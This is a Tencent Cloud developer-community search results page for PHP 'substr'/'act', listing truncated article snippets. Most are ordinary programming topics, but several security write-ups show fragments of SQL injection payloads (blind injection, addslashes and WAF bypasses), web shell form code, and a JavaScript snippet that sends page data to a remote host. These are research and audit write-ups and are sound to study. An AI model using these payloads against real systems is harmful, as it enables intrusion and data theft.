substr act wierd (PHP) - 腾讯云开发者社区

文章/答案/技术大牛

发布

php 神坑substr() mb_substr() mb_subcut区别与联系

string substr ( string $string , int $start [, int $length ] ) substr() string：输入字符串。...$rest = substr("abcdef", 0); //返回abcdef （3）为负数，返回的字符串将从 string 结尾处向前数第 start 个字符开始，至字符串结尾 $rest = substr...$rest = substr("abcdef", 1,4); //bcde$rest = substr("abcdef", 1,5); //bcdef$rest = substr("abcdef", 1,6...$rest = substr("abcdef", 0, -1); // 返回 "abcde"$rest = substr("abcdef", 2, -1); // 返回 "cde"$rest = substr...以设定字符串的编码，但是一般的服务器都没打开php_mbstring.dll，需要在php.ini中把php_mbstring.dll打开。

1.1K1 0

cmseasy最新注入+360webscan的绕过分析

/lib/default/archive_act.php 283行 php?case=archive&act=search&page=1，不是case=file。...page=1&case=admin&case=archive&act=search即可。...page=1&case=admin&case=archive&act=search&keyword=-1 POST数据 catid=-1) or ord(substr(user(),1,1))=114%...data = { "catid": '-1) or ord(substr

1.8K4 0

您找到你想要的搜索结果了吗？

是的

没有找到

跟我学习php字符串常用函数-下篇

、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、 PHP_URL_QUERY 或 PHP_URL_FRAGMENT...act=login&id=111"; $query = parse_url($url, PHP_URL_QUERY); parse_str($query); echo $act;//输出: login...echo $id;//输出: 111 3> string mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding...int strlen ( string $string ) 获取字符串的长度 6> string strrev ( string $string ) 返回反转后的字符串 7> string substr..., int $start [, int $length ] ) 截取字符串 start, 起始索引 $length, 截取的长度,不写截取到最后 $str = 'a/b.txt'; echo substr

5742 0

PHP代码审计之旅之百家CMS

php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?...php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?...php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?...=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')); if(empty( $substr...)) { $substr="/"; } $verify_root= substr

3.6K14 0

ECShop

首先从user.php文件入手，代码中可以看到，系统读取HTTP_REFERER传递过来的内容赋值给back_act变量。接着以back_act的值为参数，调用assign方法。.../* 用户登录界面 */ elseif ($action == 'login') { if (empty($back_act)) { if (empty($back_act...SERVER']['HTTP_REFERER'], 'user.php') ?.../index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act...if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr

7.7K1 0

addslashes防注入的绕过案例（AFSRC获奖白帽子情痴）

前段时间审计过不少PHP开源系统，而很多PHP开源系统针对sql注入都喜欢用addslashes来防止注入，也就是把’ “ %00 这些符号转义在前面加个\。...php if(is_null($_REQUEST[‘username’]) || is_null($_REQUEST[‘password’])) { die(); } $link=mysql_connect...> 比如说这段代码就存在宽字节注入，或者是在使用iconv,mb_convert_encoding转换字符编码函数导致宽字节注入，来一个自己审计中发现的宽字节注入案例 elseif($act == 'get_company...//IGNORE', pack("H4", substr($v, -4))); } }elseif(substr($v,...//IGNORE', pack("H4", substr($v, 3, -1))); } }elseif(substr($

4.3K9 0

PHP 代码审计之死磕 SQL 注入

于是，我们就可以死磕这样一个可能的漏洞点去翻代码根据情况，使用编辑器的全局正则匹配IFilter::act\(....然后做代码跟进，直到 SQL 语句的部分这里找到这么一处，代码：/controller/seller.php:1498 publicfunctioncategoryAjax() { $id...=IFilter::act(IReq::get('id')); $parent_id=IFilter::act(IReq::get('parent_id')); if($id&&is_array...漏洞利用 1、注册商家账号，后台审核通过（复现可直接后台添加商家），然后需要在商品分类处添加一个分类用于时间盲注 2、前台登陆商家管理，构造类似如下数据包 URL: /index.php?...controller=seller&action=categoryAjax POST: id[]=0 and if(ascii(substr((select%0aadmin_name from admin

1.9K0 0

一个有用的PHP片段的集合

Check if a string is ends with a given substring. function endsWith($haystack, $needle) { return substr...isAnagram('act', 'cat'); // true ``` isLowerCase Returns true if the given string is lower case,...false otherwise. function isLowerCase($string) { $char = mb_substr($string, 0, 1, "UTF-8");...if the given string is upper case, false otherwise. function isUpperCase($string) { $char = mb_substr...if a string is starts with a given substring. function startsWith($haystack, $needle) { return substr

8817 0

php探针文件内容

php } //网速测试-结束 elseif($_GET['act'] == "Function") { $arr = get_defined_functions(); Function php()...act=rt&callback=?'...php echo $phpSelf;?>?act=Function' target='_blank' class='static'>请点这里查看详细！...php $PHP_VERSION = PHP_VERSION; $PHP_VERSION = substr($PHP_VERSION,2,1); if($PHP_VERSION > 2) { echo...(int)substr($ys,3,2); echo ionCube_Loader_version().$gm;}else{echo "×";}?

4.9K4 0

AppCms的一次综合审计

($v); } $dbm = new db_mysql(); //预处理搜索时的值，主要是防止sql的注入 if (isset($_GET['q'])) { if (isset($_GET['act...']) && $_GET['act'] == 'hot') { if (trim($_GET['q']) == '') { $sql = "SELECT id,q...foreach ($res['list'] as $k => $v) { $res['list'][$k]['q'] = helper :: utf8_substr...} } //超出长度截取 if (strlen($_GET['q']) > 20) { $_GET['q'] = helper :: utf8_substr...if (substr($tpl, strlen($tpl) - 4, 4) == '.php') { $tmp_file = '/templates/' .

7671 0

记一次有趣的裸聊渗透测试

全局查找cls_weixin::on_exe，在根目录weixin.php调用了这个方法 php include("inc.php"); if(isset($_GET["echostr"])) { echo $_GET["echostr"];exit; } cls_weixin::on_exe...cookie 在登录处，发现cookie中的kj_s_id和kj_login_time是用来登录的，感觉可以伪造，这里我跟进下代码，看下kj_s_id是怎么生成的，验证登录处代码： function act_login_verify...发现还是限制了php无法上传，跟进这部分代码看了下，lib\tab\tab.other.attatch.php ?...在数据库名填上我们的任意php代码，就可以shell了。 ?

1.7K1 0

安全箱子的秘密

此时我们拿到了SECRET_KEY，即可计算hmac，实际上计算hmac是为了控制act，act是后面PHP执行的函数： php if(hash_hmac('md5', $act, $_SESSION['SECRET_KEY']) === $key) { if(function_exists($act)) {...; } $act()，这里等于说存在一个『任意代码执行』漏洞。...userinfo']) : ""; if(empty($cookie) || strlen($cookie) < 32) { return false; } $h1 = substr...($cookie, 0, 32); $h2 = substr($cookie, 32); if($h1 !

8992 0

在 Php 中把 Allow_url_fopen 打開的風險

$buf = fgets($fp, 4096); $pos = strpos($buf, ' HTTP/'); if ($pos === false) continue; echo substr...= `pwd`; $UserID = `id`; if( $currentWD == "" ) { $currentWD = $SCWD; } if( $_POST['_act...\">"; print "act value=\"Execute!...\">"; print "act value=\"List files!...UpLOad fiLe:"; print "act

2.3K3 0

2024全网最全面及最新且最为详细的网络安全技巧四之 sql注入以及mysql绕过技巧 (1)———— 作者：LJS

substr(load_file('/flag.txt'),1,20)：从加载的文件内容中提取前20个字符。...; abstract class admin extends act { function __construct() { if (ADMIN_DIR!...*/ parent::__construct(); /*调用父类 act 的构造函数。这里假设 admin 类直接或间接地继承自 act 类。...看到/lib/admin/admin_act.php，58行： function remotelogin_action() { cookie::del('passinfo'); // 删除名为'...case=admin&act=remotelogin&admin_dir=admin&site=default&args=xxxx 4.4 Discuz!

6641 0

LeetCode 937. 重新排列日志文件（自定义排序）

示例：输入：["a1 9 2 3 1","g1 act car","zo4 4 7","ab1 off key dog","a8 act zoo"] 输出：["g1 act car","a8 act...= ' ') { pre += s[i]; i++; } return s.substr(i+1); } bool cmp(string a,...= ' ') { pre += s[i]; i++; } return s.substr(i+1);

7174 0

各种漏洞组合拳打出不一样的姿势

"+encodeURI(data.substr(-5500,500));//表单的action属性，由于使用的是get请求，数据携带量有限，因此使用substr来截取一些字符 jsput=document.createElement...:666/a.php"+encodeURI(data.substr(-5500,500));jsput=document.createElement("input");jsput.value=data;... php?...act=editfile' method="post"> php"+encodeURI(data.substr(-5500,500));jsput=document.createElement("input");jsput.value=data;

1.6K2 0

OB 运维 | 一则 Oracle 迁移到 OB 后存储过程语法报错问题诊断案例

.' || c1.column_name || ','; end loop; v_column1 := substr(v_column, 0, length(v_column...) - 1); v_column_insert1 := '(' || substr(v_column_insert,...column_name || '=b.' || c2.column_name || ','; end loop; v_column_update1 := substr...c3.column_name || ' and '; end loop; v_column_pkey1 := '(' || substr...c3.column_name || ' and '; end loop; v_column_pkey1 := '(' || substr

7901 0

LR分析-demo2

handle[] = { //文法 " ", "E>E+T", "E>T", "T>T*F", "T>F", "F>(E)", "F>id", }; map act...handle_index = 0; //当前扫描字符位置 //选中的规约式序号 void init() { //初始化， int i = 0; for (i = 0; i < 9;i++) { act.insert...slrFind(string stat,string ActionAndTransfer) { int t1 = status[stat]; //取出状态对应下标 int t2 = act...t1, t2; //t1为栈顶符号，t2为输入串当前符号 change_t_for_slr(t1, t2); stk.push(t2); //将符号压入栈 w = w.substr...='i') //获取输入串的开头符号 serach =w.substr(0,1); else serach = w.substr(0, 2); //cout << w[0]+""<

5104 0

通过shell脚本快速定位active session问题(r4笔记第65天)

distinct sess.inst_id, sess.sid, sess.serial#, sess.username, substr...sess.process, proc.spid, sess.machine, sess.program, regexp_substr...-- ------ ------------------------------------------------- 1 14889 55175 PRDAPPC cowrk01 ACT...648600hq1s1s8 UNDOTB SELECT ban_details.COMPANY_CODE, ban_detai 1 19 16945 PRDAPPC blwrk01 ACT...Client 00 00:06:38 DATAS0 1 14566 64567 PRDAPPC truwl25 ACT

8485 0

用轻量应用服务器从零搭建一个动漫风图片API

进入https://cloud.tencent.com/act，腾讯云最新活动页面，找到正在进行的拼团活动。优先可以抢购活动机，测试或者小范围内使用都没有啥问题。...'; exit; } $base64_image_data = substr($base64_image, strlen('data:image/jpeg;base64,')); $decoded_image_data...安装完php环境后和之前一样，进入网站，创建一个php站点。...然后绑定一下自己的域名，添加成功后宝塔就会给这个站点生成一个文件夹，进入文件夹，添加一个php文件，复制上面的代码php文件里，然后在根目录上传一个1.jpg的测试图片。...然后访问这个php就可以看到了。

2925 0

点击加载更多

php 神坑substr() mb_substr() mb_subcut区别与联系

cmseasy最新注入+360webscan的绕过分析

跟我学习php字符串常用函数-下篇

PHP代码审计之旅之百家CMS

ECShop

addslashes防注入的绕过案例（AFSRC获奖白帽子情痴）

PHP 代码审计之死磕 SQL 注入

一个有用的PHP片段的集合

php探针文件内容

AppCms的一次综合审计

记一次有趣的裸聊渗透测试

安全箱子的秘密

在 Php 中把 Allow_url_fopen 打開的風險

2024全网最全面及最新且最为详细的网络安全技巧四之 sql注入以及mysql绕过技巧 (1)———— 作者：LJS

LeetCode 937. 重新排列日志文件（自定义排序）

各种漏洞组合拳打出不一样的姿势

OB 运维 | 一则 Oracle 迁移到 OB 后存储过程语法报错问题诊断案例

LR分析-demo2

通过shell脚本快速定位active session问题(r4笔记第65天)

用轻量应用服务器从零搭建一个动漫风图片API

相关资讯

热门标签

活动推荐

运营活动

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐